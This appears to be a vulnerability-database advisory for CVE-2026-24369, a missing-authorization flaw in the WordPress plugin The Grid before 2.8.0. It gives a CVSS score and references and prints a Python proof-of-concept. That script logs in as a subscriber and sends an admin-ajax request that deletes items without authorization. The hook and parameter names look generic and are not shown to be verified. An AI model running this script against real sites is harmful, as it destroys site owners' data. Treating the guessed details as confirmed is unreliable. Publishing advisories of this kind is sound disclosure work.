CVE-2026-24369

Description

Missing Authorization vulnerability in Theme-one The Grid the-grid allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects The Grid: from n/a through < 2.8.0.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H

Configurations (Affected Products)

No configuration data available.

Theme-one The Grid < 2.8.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: Theme-one The Grid < 2.8.0 - Missing Authorization PoC
# Date: 2026-03-25
# Exploit Author: Security Analyst

target_url = "http://example.com/wp-admin/admin-ajax.php"
username = "low_priv_user"
password = "password123"

# Initialize session
session = requests.Session()

# 1. Login as low-privileged user (Subscriber)
login_data = {
    'log': username,
    'pwd': password,
    'redirect_to': '',
    'wp-submit': 'Log In'
}
session.post("http://example.com/wp-login.php", data=login_data)

# 2. Exploit Missing Authorization
# Triggering a sensitive action without proper capability checks
payload = {
    'action': 'tg_grid_action',  # Vulnerable action hook
    'type': 'delete_item',       # Malicious operation
    'id': '1'                    # Target ID
}

response = session.post(target_url, data=payload)

if response.status_code == 200 and "success" in response.text:
    print("[+] Exploit successful! Unauthorized action performed.")
else:
    print("[-] Exploit failed or patch applied.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24369
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24369
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24369/
[4] VulDB https://vuldb.com/cve/CVE-2026-24369
[5] https://patchstack.com/database/Wordpress/Plugin/the-grid/vulnerability/wordpress-the-grid-plugin-2-8-0-broken-access-control-vulnerability-2?_s_id=cve

Raw JSON Data

JSON

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